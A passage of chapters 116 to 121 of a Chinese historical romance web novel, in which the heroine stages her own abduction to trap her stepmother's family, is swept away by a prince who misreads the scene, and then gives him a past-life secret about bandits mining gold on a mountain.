《你给平妻请封诰命,我奉旨和离你哭啥?》 第116章 合拍的饭搭子 她的心已经一点点变得麻木了。 跟男人相比,权利才是最可靠的,至少,权利不会背叛她。 从今天开始,男人,侯府,都只是她获取权利的跳板,她不会再投注多一分真心。 今日的陆家也十分热闹。 姜家果然请了媒人,声势浩大地到陆家提亲,两家的亲事很快定下。 此事迅速在京中传遍,不明真相之人对这桩联姻惊掉下巴。 慈光寺之事传出,众人才恍悟原来是这么一回事,对陆映溪,大家或同情或遗憾,亦有暗中幸灾乐祸者,一时之间,此事成为大家茶余饭后的一大谈资。 此事毕竟不算光彩,陆贯轩急着把人嫁出去,是以婚期定得很近,就在三月初一,距离现在只有一个多月的时间。 大户人家的婚礼都很讲究,至少提前半年开始筹备,而今只有一个多月的时间,各方面都很仓促。 经此变故,陆映溪好似完全变了个人,脾气暴虐,眼神阴郁,再没了半点笑模样。 有个丫鬟给她梳头时扯断了一根头发,被她下令打了十板子,发卖了出去。 有此先例,她身边的丫鬟都战战兢兢,唯恐犯错。 方氏忧心她的未来,整个人一下老了十岁不止。 “溪儿,娘亲再为你想想办法,我们把这门亲事退掉,娘亲送你走。你二舅舅在闽南,我把你送到那儿去,那里山高水远,没人认识你,你二舅舅会照拂你,也会给你重新张罗一门好亲事。” 陆映溪眸底癫狂一闪而过,“我不走!没能亲手报仇,我死也不会走!” 方氏心疼地握着她的手,“娘亲会替你报仇的,你何必要把自己也搭进去?姜星熠他怎么配娶你?” 想到那个男人,陆映溪眸底亦闪过一抹厌恶。 “我顾不了那么多,为了报仇,要我付出什么代价都在所不惜!” “溪儿,是不是报了仇,你就愿意离开京城?” 陆映溪眸光微动,看向方氏。 “娘亲,你可是有什么计划?” 方氏满脸阴狠之色,“陆知苒那个贱人,敢如此害你,我岂会放过她?溪儿你放心,娘亲定会让她付出比你惨烈千百倍的代价!” “待此事了结,你便乖乖听从母亲的安排,离开这里,知道吗?闽南虽偏远,母亲定不会让你受半点委屈。” 陆映溪回过神来,“可是我与姜家的亲事已定,我现在还能离开吗?” 方氏语气笃定,“只要你老实配合我的安排,娘亲就定能送你离开,其余事你不必多管。娘亲便是拼了这条命,也不会让你嫁到姜家去。” 回到知春苑,方氏打起精神,吩咐心腹悄悄前往方家。 陆知苒害得方家元气大伤,方家人都对她恨之入骨,此次计划,父亲和三哥必定会倾尽全力。 萧宝珠又给陆知苒下了帖子,这次不是约在漱芳斋,而是约她到自己的公主府做客。 她尚未出嫁,依照规矩没有在外开府的资格。 不过德丰帝疼她,早早给她择定了公主府的选址,现已修葺完成,她虽不能在宫外过夜,但闲来无事也会到这儿来赏景,宴饮,打发时间。 萧宝珠命人准备了烤肉,炭火烧得汪汪的,各种腌好的肉往架子上一铺,滋滋冒油,香气也很快激发出来。 饶是陆知苒不重口腹之欲,也被勾得馋虫直叫。 “公主请臣女来,就是为了吃烤肉?” 萧宝珠吃得腮帮子鼓鼓的,“是啊,阿笙走了以后,我连个饭搭子都没了,那些大家小姐都没意思极了,吃个三两口就饱了,跟她们一比,我就跟个饭桶似的。” 陆知苒:“……臣女的饭量也不大。” 萧宝珠摆摆手,“你不一样,她们看我吃饭像看怪物似的,你不会,跟你一块儿吃饭放松,没有压力。” 说完她又给自己夹了一块烤得焦香的牛肉,还给陆知苒也夹了一块。 “你尝尝这个,外焦里嫩,太香了。” 陆知苒笑着夹起,送入口中,焦香又滑嫩的口感充盈口腔,她瞬间被惊艳到了。 “我第一次吃到这么好吃的牛肉。” 听到她的认可,萧宝珠笑得眉眼都弯了。 “我就知道你爱吃,快,再试试其他的。” 陆知苒每品尝一样,就被惊艳一次,诚恳地给出了最高的评价。 她提供的情绪价值让萧宝珠高兴得不得了,到最后一口一个苒姐姐地叫得亲热极了。 “要是我早点认识你就好了,我就会多一个饭搭子!” “是我没福分,没机会早点认识公主这么有趣的人。” 两人聊得开心,肚子更是吃得圆滚滚的。 陆知苒已经很久没有吃得这么酣畅淋漓了。 “苒姐姐,以后你每天都来陪我吃饭。” 陆知苒摇头,“每天怕是不行,我手底下的铺子要看账,还有城外工坊,再过不久就要建好了,我也得为后续之事做好准备,我在皇上面前立过军令状的,不能办砸了。” 萧宝珠闻言,顿时面露失望,心中升起一股难言的沮丧。 “你们每个人都有自己的事要忙,只有我是个没用的闲人。” 陆知苒脑中思绪一转,一个念头便冒了出来。 “我正好有一件事想请公主帮忙,只是不好开口……” 萧宝珠闻言,眼珠子顿时亮了起来,“你说,你说!我一定帮。” “不知工坊之事,公主了解多少?” 萧宝珠有些汗颜,“只听七皇兄说起过一点点。” 陆知苒便从头到尾,把自己设立工坊的初衷尽数道来。 萧宝珠从一开始的懵懂,到后面看她的眼神充满了惊叹和敬佩。 她身为公主,享受大齐优渥的供养,却从未为天下百姓做些什么。 反观陆知苒,心怀天下,心系百姓,切切实实地为百姓们做了一桩又一桩的实事,萧宝珠羞愧极了。 “公主,你想不想也为工坊之事贡献一份力量?” 萧宝珠眸光一亮,“我,我也可以吗?我能做些什么?我什么都不会呀……” 陆知苒笑笑,“公主太妄自菲薄了。这件事,只有公主最适合做,任何人都代替不了。” 作者有话说:祝福大家新的一年身体健康,万事如意,事事顺心! 第117章 没眼力见儿的东西 陆知苒凑近几分,将自己的计划低声道来,萧宝珠听得越发激动。 “交给我!到时我定给你办得妥妥的!” “公主办事,我自是放心的。不过此事暂时还不能透露风声,免得节外生枝。” 萧宝珠拍着胸脯保证,“放心,我的嘴严得很!” 工坊之事她早有计划,而今多了萧宝珠加入,后续的运营定能事半功倍。 石齐舟和谭旭文那边,她也早早分派了相应的采买,工坊搭建完成,物资到位,就能立马投入运营。 将诸事梳理一番,陆知苒的心情十分不错。 回到府里,金嬷嬷就悄声告诉她一个消息。 知春苑那头又有新动静了。 本以为方氏母女会稍微消停一段时间,没曾想她们半点都等不及。 陆知苒立马安排人,盯着方家的一举一动。 几日后,手下陆续带回了消息,陆知苒将对方的计划拼凑个七七八八,眸底顿时染上一抹冷意。 断了方成器这一臂还没能让方家老实,既如此,那就再断一臂。 等到四肢都被斩断,方家便与那没了牙的老虎一样,没了半点威慑力。 到那时,方氏还有什么依仗? 转眼便到了二月。 以往这个时候,天气已然回暖,但今年却像是被老天爷下了什么魔咒,竟然还在断断续续地下雪,气温也没有半点回暖的迹象。 见此情形,德丰帝越发庆幸有收容所的存在。 不然的话,今年怕是不知要冻死多少百姓。 陆映溪一直在府中待嫁,这段时日倒是没有再闹,脾性收敛不少。 陆知苒依照规矩,需日日到方氏跟前请安,方氏固然不敢刁难她,但也不再装模作样地演慈母,态度十分冷淡。 今日,陆知苒主动向方氏告假。 “快开春了,田庄也到了收租子的时候,明日女儿想到庄子上看看。” 方氏闻言,眸光微微一动。 就在前两日,方家给她传信,说一切已经准备就绪,只等鱼儿上钩了。 方氏还在思考该如何让陆知苒出城,没想到她竟主动提出了此事。 这可真是瞌睡了就有人递枕头。 方氏淡淡地点头,“知道了。” 陆知苒一走,方氏脸上这才露出冷笑。 她自己要找死,可怪不到旁人,若是事发,自己也半点责任都不沾。 回到瑶光阁,陆知苒传话,“开始行动。” 金嬷嬷忧心忡忡,“小姐,您真的要以身犯险吗?这中途万一出了点意外……” “我已经做了周全的安排,奶娘不必担忧。” 金嬷嬷还要再说些什么,陆知苒语气坚定,“我退了,旁人不会见好就收,反而觉得我软弱好欺。须知,和平是用鲜血涂抹的,不是委曲求全,一再退让换来的。” 金嬷嬷不再劝,只一再叮嘱她万事小心。 翌日,陆知苒乘上马车,往城外京安县的庄子出发。 昨夜大雪下了一整夜,地上积了厚厚一层,马车压过,留下两道深深的车轮印。 行至收容所,外面的喧嚣热闹席卷而来。 萧晏辞正在指挥青壮男丁搬运搭建工坊的木材,人手不够,他就撸起袖子亲自带头一起干。 必须赶在天气回暖之前,把工坊搭建运营起来,若是延误,组建工坊的效果就会大打折扣。 这不仅是父皇交给他的任务,更是陆知苒为天下女子筹谋的一片苦心,不能在他这一环掉了链子,是以这段时间他一直耗在此处,亲自跟进进度。 一辆马车缓缓驶来,萧晏辞余光不经意一瞥,恰好陆知苒掀起车帘往外瞧,他们的目光便这么碰上了。 二人俱是一愣,一股古怪的别扭在陆知苒心头蔓延。 为何每次自己要干坏事,都会遇到他?总有种被一眼看穿的心虚感。 朝他微微颔首,陆知苒很快放下了车帘,偏头的瞬间,耳垂上玛瑙耳坠鲜艳欲滴,璀璨生辉。 目送她的马车慢慢走远,萧晏辞这才低头看了一眼自己,浑身上下没一处干净的。再摸摸脸,摸到一手扎人的胡子。 自己在她眼里,怕是成了野人吧。 早知道,他今日就该好好打整一番。 贺昀不知何时凑了上来,“这大雪天的,平乐县主出城做什么?” 萧晏辞冷幽幽地道:“管得那么宽,不如多搬几块木头。” 贺昀莫名觉得自家殿下火药味有点重,他小声咕哝,“属下也是担心她又被人算计了。” 萧晏辞眉峰紧锁,“又?此言何意?” “殿下你还不知道?佛诞日那晚……” 他三言两语,把事情的来龙去脉一股脑倒了出来,萧晏辞听得面沉如水。 佛诞日之时,工坊刚好开始搭建,万事开头难,他不敢懈怠,一忙就到了现在,中途他亦不曾回过城里,有事便让贺昀代为跑腿传话,是以他对这桩事竟是毫不知情。 他咬牙切齿,“为何不早告诉我?” “殿下不是说,您这段时间比狗还累,无关之事都不要回禀来烦您吗?” 那是无关之事吗? 萧晏辞看他的眼神冷得像刀子似的,贺昀被他看得逐渐心虚。 “属下知道的时候也已经过了好几日,一切早就尘埃落定了,您放心,平乐县主没吃亏。” “还在找借口,罚俸三月!” 没眼力见儿的东西! 贺昀立马哀嚎出声,跟着自家殿下,他本就穷,再罚俸三月,他就只能吃土了。 萧晏辞又朝他甩去眼刀子,贺昀赶紧闭嘴了。 不再与他废话,萧晏辞转身大步流星而去,贺昀屁颠颠地追上,“殿下,您这是去哪儿啊?” 萧晏辞没答话,径直牵了一匹马,翻身而上。 贺昀的榆木脑袋终于转了起来,“殿下,您该不会是担心平乐县主,要追上去看看吧?” 萧晏辞一扬马鞭,差点甩到贺昀脸上。 “该多嘴的时候是锯嘴葫芦,不该多嘴的时候倒成了长舌妇,看来你是嫌自己的月钱扣得不够多。” 贺昀立马伸手捂住了嘴,露出讨好之色。 萧晏辞一夹马腹,扬长而去。 不知为何,方才他莫名生出一股不安的感觉。 慈光寺之事,明显是有心人蓄意安排的一个局。 好在她机敏,顺利破解。 但总有人不知好歹,再生歹心。 或许是他想多了,但总要去看看,护送一二。 贺昀眼珠子咕噜噜地转了几圈,终于后知后觉地反应过来什么。 他一拍脑门,“这,不会吧……” 他家殿下眼高于顶,不近女色,怎会…… 一番犹豫,贺昀也翻身上马,跟了上去。 要是自己没猜错,平乐县主极可能是自己未来的女主子,他可得抓紧机会刷一刷好感。 第118章 畜生不如的狗东西 主仆二人朝前追去,原本贺昀还觉得自家殿下有点小题大做,但行至前方拐角处,瞳孔猛地一缩。 一辆马车歪斜着倒在路边,马儿不知所踪,车厢里的人亦不见了踪迹。 雪地上有明显的打斗痕迹,更有一大片刺目的鲜红,骇人至极。 萧晏辞急急勒马,手背上青筋毕现。 贺昀慌忙下马,俯身查探一番,在马车附近,他捡起了一个东西。 “殿下,这里遗落了一枚耳坠。” 看到那枚鲜艳的玛瑙耳坠,萧晏辞眼神一缩。 他猛地握紧双手,将那耳坠牢牢握在手心。 这是陆知苒的耳坠。 将它揣入怀中,萧晏辞一夹马腹,策马朝着林子的某个方向追去。 他们定然没有走远,现在追,还来得及! 前方的脚步很凌乱,地上还歪歪斜斜躺着好几具尸体。 越往深处去,密林越繁茂,马匹跑不开,萧晏辞便弃了马,朝前疾步狂奔。 但很快,他前方的足迹出现了分叉。 萧晏辞和贺昀对视一眼,主仆二人的默契达到顶峰,一人往左,一人往右。 萧晏辞的速度快出了残影,整颗心亦紧绷到了极致。 脑中闪过各种猜测,每一个都足以将他逼疯。 忽而前方出现几人,他们穿着护卫服饰,神色惊惶,形容狼狈,跑得屁滚尿流。 一人不停回头张望,没看到身后的追兵,正待松口气,就狠狠撞在了一道高大人墙上,被弹开老远,撞得身后之人纷纷倒地。 萧晏辞手握长剑,满脸煞气,几人吓得面无人色。 “别,别杀我们,我们已经把小姐交给你们了,求求好汉,饶过我们吧!” “你们小姐是谁?” 几人抢着回话,“是,是皇上亲封的平乐县主,她生得国色天香,容色过人,说是上京城第一美女也不为过。” “对对,我家小姐美极了,男人见了她都走不动道。这位爷,您快去吧,去晚了,就尝不到鲜了。” “看在我们主动把人献上的份儿上,好汉就放过我们吧!” 萧晏辞手中的长剑握得咯咯作响,几乎是从齿缝里挤出一句话,“人在何处?” 几人指着某个方向,“就,就在那边。” 没再给他们多说半个字的机会,萧晏辞手起刀落,直接砍下了几人的头颅。 滚烫的血将大片雪地染红,他们的瞳孔圆睁,死不瞑目地看着苍茫的上空。 萧晏辞的眼底没有半丝情绪。 畜生不如的狗东西!杀他们都嫌脏手。 顾不上补刀,萧晏辞一个起跳飞跃,运行轻功往他们方才所指的方向飞去,唯恐晚上一刻,陆知苒就会受到折辱。 忽而,萧晏辞听到了前方传来些许动静。 他立马放慢了速度,一点点悄悄靠近,悄然观察前方情况。 那行山匪有十余人,蒙着面,一个个身形高大,手持长刀,一看就是练家子。 目光搜寻一番,他终于看到了自己要找的人。 她和两个侍女安安静静地坐在角落里,好在,最担心的事情没有发生,除了衣裳脏污,发髻凌乱以外,她们看上去并无不妥,甚至脸上亦不见惊慌之色。 萧晏辞狠狠松了口气。 只是,凭借他的一己之力,要如何才能把人救出来? 他的功夫就算再好,也不可能应对十几名好手,把她完好无损地救走。 加上贺昀,也不可能。 回去搬救兵更不现实。 要想救人,只能静待时机。 他躲在树梢上,一动不动,雪花将他染成白发,雪水顺着眼睫滴落,他都恍若未觉。 他像是最沉稳的猎人,静静等待最佳时机,一举将自己的猎物擒获。 不知过了多久,主仆三人忽而起身,朝他这边来了。 那些蒙面山匪只是看了一眼,不曾阻拦,甚至没有派人跟着。 真是一个千载难逢的好机会! 陆知苒越走越远,直到走到一株繁茂的灌木丛后面,才终于停下脚步。 萧晏辞目测着她与山匪的距离,若自己速度足够快,定能把人救走。 但只能救一人,那两个丫鬟,他无能为力。 他的善心不多,只足够给她一人。 他脑中飞速盘算,周身紧绷到了极致,如同一只蓄力待发的猛禽。 然而目光一转,看向陆知苒时,他险些从树杈上掉下去。 他总算反应过来陆知苒是要做什么了。 哪怕有树丛的遮挡,他什么都看不到,也立马撇开了视线,也不敢多看一眼。 窸窸窣窣的动静消失,萧晏辞也重新调整好状态。 非常时候,只能冒犯了。 他不再迟疑,一个俯身往下,在所有人都没回过神来时,一把揽住陆知苒的纤腰,将人抱起。 她的腰,果然盈盈不足一握。 陆知苒被吓得拼命挣扎。 男人低沉醇厚的嗓音在耳边响起,“是本王。莫怕,本王救你离开。” 陆知苒懵了。 她要解释些什么,但一张嘴冷风就呼呼地往嘴里灌,什么都说不出来,反倒呛得一阵连连咳嗽。 翠芙和丹烟发出尖叫,“小姐!小姐!” “快来人,有贼子把小姐劫走了!” 身后很快有人追了上来,萧晏辞道了句“得罪”,把陆知苒往自己胸前一按,抱得更紧几分,他的速度也愈发快了起来。 陆知苒只觉耳边一阵冷风呼呼地吹,整个人有种悬于半空的失重感,本能地紧紧箍住男人的腰身寻求安全感。 萧晏辞灵巧得似一只猎豹,借着树干作为支点,起落跳跃十分敏捷,竟是将身后之人远远甩开了。 不知过了多久,萧晏辞双足稳稳落地,停了下来。 怀中人依旧死死抱着他,眼睛闭得紧紧的,完全没有发现他们已经落了地。 温软的身子紧挨着他,让他感受到了何为温香软玉,纤秾有致。 萧晏辞眸底闪过一抹不自在。 他轻咳一声,“县主,我们已经安全了。那边就是收容所,那些山匪若敢追来,本王一声大喊就能唤来援手。” 陆知苒只觉得整个人都天旋地转,晕乎乎的。 意识到自己还抱着对方,她猛地松手,却没料到自己双腿阵阵发软,身上失去了支撑,身子一晃就要摔倒。 萧晏辞赶忙伸手,再次将人扶住。 “小心。” 第119章 惊天的秘密 方才被捂在他怀里,她脸颊红红的,整个人都有些迷迷瞪瞪,似喝醉了那般。 陆知苒站定,缓了一口气,“多,多谢瑾王殿下相救。” 萧晏辞声音不自觉放缓了几分。 “县主不必言谢,本王也不过是机缘巧合罢了。” “殿下如何寻到臣女的?” 萧晏辞轻咳一声,“本王刚好有事,途径那处发现陆家马车侧翻在路旁,你和丫鬟不见踪迹,便循着脚步往林子里追去。所幸本王运气好,及时找到了县主。” 顿了顿,他飞快解释,“方才本王什么都没看到……” 不提这个还好,一提起,陆知苒一下想起了方才他是在什么场景下把自己救走的,她的脸唰地红透了,二人之间的气氛笼上一层令人窒息的尴尬。 “你的两个丫鬟挡住了,真的什么都没看到。我也主动扭头避开了……” 这可真是越描越黑,陆知苒恨不得找个地缝直接钻进去躲一躲,萧晏辞也头一回有种笨嘴拙舌,恨不得咬掉舌头的冲动。 萧晏辞赶紧转移话题,“当务之急,县主得尽快现身人前。若是陆家护卫回去之后胡言乱语,你的名声恐会受损。” 他方才斩了几人,但定有漏网之鱼。 方氏是个面慈心苦的,她不可能维护陆知苒的名声,反倒会狠踩几脚,说不定此事就是出自方氏之手。 女子名声何其重要,流言一起,再想洗清只怕不易。 “收容所是县主亲自牵头督办,你若现身收容所,定能引得百姓感激,届时,收容所的众人就都是你的证人,任何有关你名声的流言将不攻自破。” 陆知苒已经冷静了下来,只是面上红润依旧久久未散。 萧晏辞的这番提议,的确是当下最合适,对她最有益的法子。 他能为自己筹谋到这番地步,陆知苒心头不可避免地生出触动。 只是,她要如何解释,这一切其实都是她自己的计谋? 方家派人伪装成山匪,欲把她掳走,不想半道冒出了另一波蒙面山匪抢人。 对方凶狠异常,杀人不眨眼,方家人或死或伤,折损大半。 见势不对,他们不敢恋战,狼狈逃跑。 陆家的护卫更是贪生怕死,跑得比兔子还快。 那些逃回去的人,定会向方家禀报,她们主仆落入了真正的山匪手中。 大家小姐落入山匪之手,不论有没有受折辱,名声都彻底毁了,这便是方氏和方家人的意图。 殊不知,后面那批山匪并非真正的山匪,而是陆知苒安排的人。 她假意落入山匪手中,便是早就想到了翻盘的后招,更会给方成川回赠一份大礼。 她千算万算,独独没算到半路杀出个萧晏辞,直接把她给救了。 陆知苒的心情很复杂。 若她真的落入了山匪手中,萧晏辞的出现,无异于神兵天降。 他能如此不顾一切地救下自己,这份恩情,陆知苒记下了。 但眼下,因为他的横插一脚,自己的计划彻底乱了。 他们的盟友关系尚未真正稳固,陆知苒很犹豫究竟要不要把自己的计划和盘托出。 陆知苒在脑中反复权衡,萧晏辞只当她心有疑虑,便继续道:“县主放心,本王定会处理好此事,绝不会让你的名声受损。” “我不是担心这个……” “方才本王人单力微,没法救下你的两个丫鬟,本王会立马入宫向父皇禀明此事,领兵铲除这贺连山的山匪,秘密救出你的两位侍女!” 陆知苒捕捉到了什么,神色猛地顿住,有些不确定地问,“殿下方才说,这是贺连山?可这不是名为天屏山吗?” “你说的天屏山并非一座山,而是一座山脉,天屏山脉连绵数千里,为了方便区分,舆图上又给每个小山头重新命名。此处便是贺连山。” 陆知苒的面色变了几变,“殿下,你确定吗?” 萧晏辞觉得她的反应有些奇怪,但还是十分有耐心。 “确定,这次修建工坊,本王特意拿舆图看了看,记得很清楚,此山的确名为贺连山。” 陆知苒又急切开口,“那,京城附近可还有其他叫贺连山的山头?” 萧晏辞摇头,“舆图上不曾标注,想来是没有。这贺连山有什么问题?” 陆知苒没有回答,眉头紧蹙,似是陷入了某些久远的回忆。 前世的一年后,京中发生了一件轰动的大事。 六皇子带兵,剿灭了贺连山的一群山匪,立下了功劳,而这一场剿匪还牵扯出了另一桩惊天的秘密。 贺连山山匪的寨子里,竟然有一个巨大的金矿,这些年他们便一直在偷采金矿! 为免秘密被发现,他们从不劫掠路人,是以此前,无人知晓山上竟然藏了一窝土匪。 后来,这群山匪分赃不均,引起了内讧,两派火拼,一人侥幸逃下了山。 那人刚好被楚翊安救下,为了报仇,那人把山上的秘密和盘托出,楚翊安又第一时间向六皇子回禀。 那人画下了寨子里的机关和地形图,便是靠着这份地形图,六皇子和楚翊安才顺利地将那易守难攻的山寨攻下。 剿匪之功是其次,真正的大功是发现了金矿! 六皇子将那金矿进献给皇上,德丰帝龙心大悦,没多久,便正式册封六皇子为太子。 楚翊安在此事中同样立下大功,奠定了他在六皇子跟前的重要地位。 陆知苒手头上事情千头万绪,她便将此事安排在了后头。 她万万没想到,前世那藏着巨大秘密的贺连山,竟然就在天子脚下,这简直是主动送上门的功劳! 这泼天的功劳她自己肯定吃不下,但加上眼前之人的话,一切就刚刚好了。 萧晏辞看她时而凝眉沉思,时而满脸惊喜,一时根本猜不透她在想些什么。 她终于抽回思绪,正待开口,萧晏辞的脸色陡然一变。 “不好,他们追来了,本王先带你到收容所暂避,你把脸遮好了。” 那群乌合之众敢追到收容所去,他正好率领禁军将他们全都砍了。 只是要保全陆知苒的名声,她就不能以这般狼狈的姿态出现。 男人道了句“得罪”,再度伸手揽过她的腰,就要把她带走。 第120章 富贵险中求 陆知苒慌得伸手推他,疾声开口,“殿下,你误会了,那都是自己人。” 这一耽搁的功夫,十几个蒙面壮汉追了上来,手里的刀寒光凛凛,看着萧晏辞的目光更是充满了杀气。 他们一落地就飞快分散开,将二人团团围住。 这就是她说的自己人? 萧晏辞一手护着陆知苒,一手握着刀,这一瞬,陆知苒从他的身上感到了一股强烈的杀气。 就在双方战火一触即发之际,陆知苒急忙开口,“林骁,让大家把刀放下,他是瑾王殿下,对我没有恶意。” 那为首的汉子神情明显顿住,原本满含杀气的眼中也露出了些许疑惑。 萧晏辞的手亦是明显凝滞了片刻。 这是怎么一回事? 陆知苒三言两语,简单解释了一番。 萧晏辞:…… 所以,这些都是她的手下?自己这是帮了倒忙? 他有些为自己的瞎忙活感到羞恼,同时,心头又有一股火蹿了上来。 “君子不立危墙之下,你可知自己的行径有多冒失,有多危险?若这山上当真有山匪,若你被真正的山匪劫持了,可知道后果有多严重?” 他知道陆知苒主意大,但没想到她的主意会那么大! 他沉着脸,语气严肃,陆知苒被训得一愣愣的,心头生出一股微妙的感觉。 以往,二人之间都是彬彬有礼,生疏客气。 这还是头一回,他朝自己发了脾气。 他的语气很不好,陆知苒却再次感到了他对自己那份真切的关心。 只有真正关心她的人,才会在乎她的安危。 陆知苒没有狡辩,老老实实地低头认错。 “此事的确是我思虑不周,下次定然不会如此。” 萧晏辞语气暴躁,“下次?还敢有下次?只怕现在有心人已经在城中散布你被山匪掳走的消息。” 陆知苒莫名心虚气短,“我有法子善后的,殿下不必担心。” 她要引蛇出洞,就必须要把戏做全。 舍不得孩子,套不着狼。 “女子名声有多金贵,你知不知道?你自诩算无遗策,可中途但凡出现一点变故,就是无法挽回的后果。” 萧晏辞的火气大得冲天,根本压不住。 陆知苒老实得像个鹌鹑似的,赶紧把自己的善后计划道出,萧晏辞闻言,面上神色稍有和缓,但依旧绷着脸。 他冷不丁问,“令牌还在吗?” 陆知苒愣了一瞬才反应过来,连忙点头。 “臣女自然好好保存着。” “还以为你扔了呢。” 这话说得莫名,陆知苒一时没反应过来。 萧晏辞眼神冷幽幽的,“这些跳梁小丑,交给本王料理便是,也值得你以身涉险?简直抬举他们!本王动动手指头,就能把他们捏死。” 陆知苒这才反应过来,原来,他是这个意思。 那块令牌是他给自己的信物,若自己有事,可以去寻他帮忙。 但陆知苒从未想过求助他,这是她自己的仇,她自己报。 让她意外的,是萧晏辞的态度。 他那话的意思,岂不是把自己抬举得比他还高? “本王可是在你那里投了五十万两,加上宝珠的那份,足足一百万两,你若是有个三长两短,本王找谁讨银子去?” 陆知苒:……原来如此。 她松了口气,郑重道:“殿下放心,臣女定好好保护自己,不会让您和公主的银子打水漂。” 正这时,两道哭唧唧的声音传来。 “小姐……” “小姐……” 翠芙和丹烟从林子里激动地朝她奔来,她们身后,是贺昀,和四个蒙面壮汉。 大家都很正常,只有贺昀捂着肚子,瘸着腿,头发也散落得乱糟糟的,看上去十分狼狈。 他也上演了一出英雄救美,只不过没有救成功,反而被那四人左右夹击,打得嗷嗷叫。 若非翠芙和丹烟认出他来,及时喊停,只怕他就要命丧于此了。 萧晏辞嫌弃地剜了贺昀一眼,真是丢人现眼。 两个丫鬟激动地抱着陆知苒,又哭又笑。 “小姐,奴婢担心死了!” “奴婢以为您真的被山匪掳走了!” 萧晏辞:“咳咳……” 丢脸丢大发了。 “若无事的话,本王就先走了。” 陆知苒赶忙喊住他,“殿下,请留步。” 萧晏辞疑惑。 “臣女还有一桩大买卖想与您做,不知道您感不感兴趣?若是成了,泼天功劳唾手可得。” 萧晏辞眉峰微动,“若是没成呢?” 陆知苒直言,“有些危险,稍有不慎,或有性命之忧。” 萧晏辞并没有太多犹豫,“富贵险中求,有何不敢?” 他的干脆利落让陆知苒都愣了愣,“殿下不先问问是什么买卖吗?” “不管是什么买卖,与县主交易,本王吃不了亏。” 陆知苒露出笑来。 她喜欢跟爽快人合作,这会让她有种无比轻松的感觉。 而眼前之人,更让她觉得无比踏实。 陆知苒将贺连山的秘密尽数道来,饶是萧晏辞已经事先做好了准备,也被惊得半晌没反应过来。 “你如何得知此事?” “若我说,我也没法解释消息的来源,殿下是否会相信?” 萧晏辞深深地看着她,旋即点头。 “若这是从旁人口中说出来,或许不可信,但你说的,本王信。” 他的语气斩钉截铁,眸中不带半丝怀疑。 这种被人无条件信任的感觉,令她心头不自觉泛起淡淡暖意来。 她双目灼灼地看着对方,眸光坚毅果决,“承蒙殿下信任,臣女定不会让您失望。若殿下能为臣女备一套笔墨纸砚,臣女能将那山寨的地形和布防图画出来。” 前世,受赏当日,楚翊安很高兴,喝了不少酒,许是醉糊涂了,他到了陆知苒的院中,得意洋洋地向她炫耀了自己立下的功绩。 陆知苒对此态度十分冷淡,楚翊安恼怒,扇了她一记耳光便甩袖而去,那张山寨的地形图不小心遗落在地。 陆知苒认真看过,也记在了心里。 这话让萧晏辞眸光亮了几分。 “当真?” 陆知苒点头,“或许会有些误差,但应当差别不大。” 萧晏辞立马让贺昀去取一套笔墨,贺昀虽不明所以,也老实地去了。 第121章 瑾王殿下人很好 上辈子的记忆已经不太清晰,陆知苒靠着一棵树坐下,双眸紧闭,看似在闭目养神,实际上却是在搜索和回忆。 萧晏辞的目光一直落在她的身上,带着肆无忌惮的探究。 她很特别,甚至多智近妖。 但不知为何,萧晏辞对她却生不起半丝防备,反而觉得她理当如此。 贺昀取来了笔墨,还让人把陆家的马车赶了过来。 陆知苒上了马车,足足过了两刻钟,她才终于完成了地形图和布防图的绘制。 萧晏辞接过,认真看了起来。 看罢,他又深深地看着陆知苒,“你可知,你将此事告知本王,便相当于把泼天的功劳拱手相让。事成之后,本王也不便为你请功。” 她无法解释清楚自己的消息来源,自然没法为她请功。 萧晏辞可以无条件信她,什么都不多问,但德丰帝没那么好糊弄,若处理不好,反会叫他对陆知苒生出怀疑和揣测。 陆知苒神色坦然,“这个功劳,便是臣女送给殿下的一份大礼,算是报答今日殿下真心相救之举。” 这是她向萧晏辞投诚的一大筹码。 经此一事,他们之间的联盟,才算是真正达成稳固。 萧晏辞心头掀起一阵波澜。 他感到了一股沉甸甸的信任,心头滋味莫名。 “本王这便入宫请旨,派兵剿匪。” 他转身欲走,又不放心地回头。 陆知苒心头生出暖意,“殿下放心,臣女已做好万全安排。” 萧晏辞又看了看林骁等人,眼神中依旧带着几分警惕。 “阿昀,你留下护送县主。” 陆知苒本想说不用,但萧晏辞撂下这话便转身离开,没有给她拒绝的机会。 贺昀看了看自己周围十几个彪形大汉,身上开始隐隐作痛起来。 但自己好歹是殿下身边的第一得力护卫,不能丢了殿下的人,他便挺直了腰杆,端出一副威严肃穆的神色。 前世,这对主仆的名声都不好,人人闻之色变。 但今日,他们却是不管不顾地救自己,试问有几人能做到? 陆知苒朝贺昀微微欠身,语气诚恳,“方才多谢贺护卫仗义出手,这份情,我定铭记于心。” 贺昀连忙避开,“县主,您这是折煞属下了,属下只是听从殿下吩咐行事罢了,实在担不起您一句谢。而且,属下也未曾真的帮上忙……” 这位可是最有可能成为自家女主子的人,他怎敢受她的礼?回头让殿下知道了,不得再扣他月钱。 要他命可以,扣他月钱,绝对不行! 陆知苒依旧诚恳,“虽然这中间有些误会,但你们全力相救之心却不容置疑。” 贺昀连忙趁机替自家殿下刷好感,“县主要谢,就谢我家殿下吧,先前,我家殿下瞧见县主的马车出城,觉得下雪天路滑不好走,恐会遇到危险,便第一时间追上,想护送一程。若非如此,也不会……” 也不会帮了个倒忙。 说到最后,他自己都尴尬得闭嘴了。 陆知苒闻言,心头再次泛起一层淡淡涟漪。 很奇怪的感觉,有些琢磨不透,但,这种感觉并不赖,似一簇暖阳轻轻洒在她的身上,熨帖极了。 陆知苒的唇角不自觉扬起,露出一抹清浅笑意,“瑾王殿下人很好。” 贺昀听了这话,简直激动得快哭了。 总算有人知道自家殿下有多好了! 方家派出去二十名好手,最后只逃回来八人。 想到那些命丧刀下的弟兄他们便心有余悸。 回到城中,他们就开始大肆宣扬平乐县主被山匪掳走之事。 在有心人的蓄意推动下,此事迅速在城中传得沸沸扬扬。 方氏得知此事成了,喜得大笑三声。 “小贱人,这次我倒要看看她要如何翻身!” 她这次是落入了真正的山匪手里,下场定然会十分凄惨!看来,这次连老天爷都在帮她们! 陆映溪面容扭曲,又哭又笑,整个人状若癫狂。 “贱人,这都是她该受的!” 方氏立马派人去报官。 “溪儿,娘替你报仇了,你要乖乖听从母亲的安排,尽早离开京城。” 陆映溪立马摇头,“不,我现在还不能走!我要亲眼看到她被救回来,看着她受世俗唾骂,才能解我心头之恨!” 方氏有些急,“溪儿,不可任性,她的事已成定局,你何必要执着于此?” 